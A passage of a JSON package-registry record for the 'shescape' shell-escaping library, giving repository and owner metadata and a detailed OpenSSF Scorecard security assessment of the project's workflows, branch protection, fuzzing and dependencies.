ssen/shescape","install_command":"go get github.com/ericcornelissen/shescape","documentation_url":"https://pkg.go.dev/github.com/ericcornelissen/shescape#section-documentation","metadata":{},"repo_metadata":{"id":37528615,"uuid":"309486039","full_name":"ericcornelissen/shescape","owner":"ericcornelissen","description":"Simple shell escape library for JavaScript","archived":false,"fork":false,"pushed_at":"2026-08-21T05:55:33.000Z","size":6636,"stargazers_count":9,"open_issues_count":17,"forks_count":12,"subscribers_count":1,"default_branch":"main","last_synced_at":"2026-08-21T16:36:54.655Z","etag":null,"topics":["command-line","escape-library","security","shell","shell-injection","shell-scripting"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ericcornelissen.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2020-11-02T20:23:47.000Z","updated_at":"2026-08-17T06:24:10.000Z","dependencies_parsed_at":"2026-08-21T16:35:03.553Z","dependency_job_id":"7794674c-2147-44b1-af4e-56ea22e9e777","html_url":"https://github.com/ericcornelissen/shescape","commit_stats":{"total_commits":1303,"total_committers":8,"mean_commits":162.875,"dds":"0.44589409056024554","last_synced_commit":"66512271bf20287aa94173168efee0eb94a0f414"},"previous_names":[],"tags_count":65,"template":false,"template_full_name":null,"purl":"pkg:github/ericcornelissen/shescape","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ericcornelissen","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/sbom","scorecard":{"id":380163,"data":{"date":"2025-08-11","repo":{"name":"github.com/ericcornelissen/shescape","commit":"2fdac057edd01c4938b350cc5cafee7dab004bcd"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":8.1,"checks":[{"name":"Code-Review","score":2,"reason":"Found 3/13 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 15 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/nightly.yml:55","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/publish.yml:53","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/publish.yml:84","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/audit-dev.yml:17","Info: topLevel permissions set to 'read-all': .github/workflows/audit-release.yml:7","Info: topLevel permissions set to 'read-all': .github/workflows/checks.yml:8","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-bash.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-busybox.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-cmd.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-csh.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-dash.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-no-shell-unix.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-no-shell-win.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-powershell.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-zsh.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/labeler.yml:5","Info: topLevel permissions set to 'read-all': .github/workflows/nightly.yml:7","Info: topLevel permissions set to 'read-all': .github/workflows/publish.yml:7","Info: topLevel permissions set to 'read-all': .github/workflows/release.yml:14","Info: topLevel permissions set to 'read-all': .github/workflows/reusable-fuzz.yml:18"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/audit-dev.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-dev.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/audit-dev.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-dev.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/audit-dev.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-dev.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/audit-release.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/checks.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:217: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:415: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:257: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:295: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:322: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:327: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:338: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:358: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:363: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:378: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:396: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/checks.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/labeler.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nightly.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/nightly.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nightly.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/nightly.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/nightly.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/nightly.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:113: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/publish.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/publish.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/reusable-fuzz.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/reusable-fuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/reusable-fuzz.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/reusable-fuzz.yml/main?enable=pin","Warn: npmCommand not pinned by hash: .github/workflows/checks.yml:192","Warn: npmCommand not pinned by hash: .github/workflows/checks.yml:230","Warn: npmCommand not pinned by hash: .github/workflows/nightly.yml:39","Warn: npmCommand not pinned by hash: .github/workflows/nightly.yml:40","Info:  27 out of  56 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   6 third-party GitHubAction dependencies pinned","Info:   0 out of   4 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Mozilla Public License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: JavaScriptPropertyBasedTesting integration found: test/_arbitraries.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/constructor/constructor.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/_macros.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/_arbitraries.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/constructor/constructor.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/_macros.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:8"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'main'","Warn: 'stale review dismissal' is disabled on branch 'main'","Warn: branch 'main' does not require approvers","Warn: codeowners review is not required on branch 'main'","Warn: 'last push approval' is disabled on branch 'main'","Warn: 'up-to-date branches' is disabled on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:94"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (30) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-18T15:14:08.438Z","repository_id":37528615,"created_at":"2025-08-18T15:14:08.438Z","updated_at":"2025-08-18T15:14:08.438Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36808028,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-21T02:00:06.756Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"ericcornelissen","name":"Eric Cornelissen","uuid":"3742559","kind":"user","description":"","email":"","website":"https://www.ericcornelissen.dev/","location":"Sweden","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3742559?v=4","repositories_count":61,"last_synced_at":"2025-09-15T01:22:45.996Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/ericcornelissen","funding_links":[],"total_stars":99,"followers":61,"following":1,"created_at":"2022-11-11T22:55:05.799Z","updated_at":"2025-09-15T01:22:45.996Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ericcornelissen","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ericcornelissen/repositories"},"tags":[{"name":"v3.0.2","sha":"21b71c30df49ec2fa2ff7331526bbaeb46af8b0f","kind":"commit","published_at":"2026-08-01T12:51:40.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v3.0.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.2","mani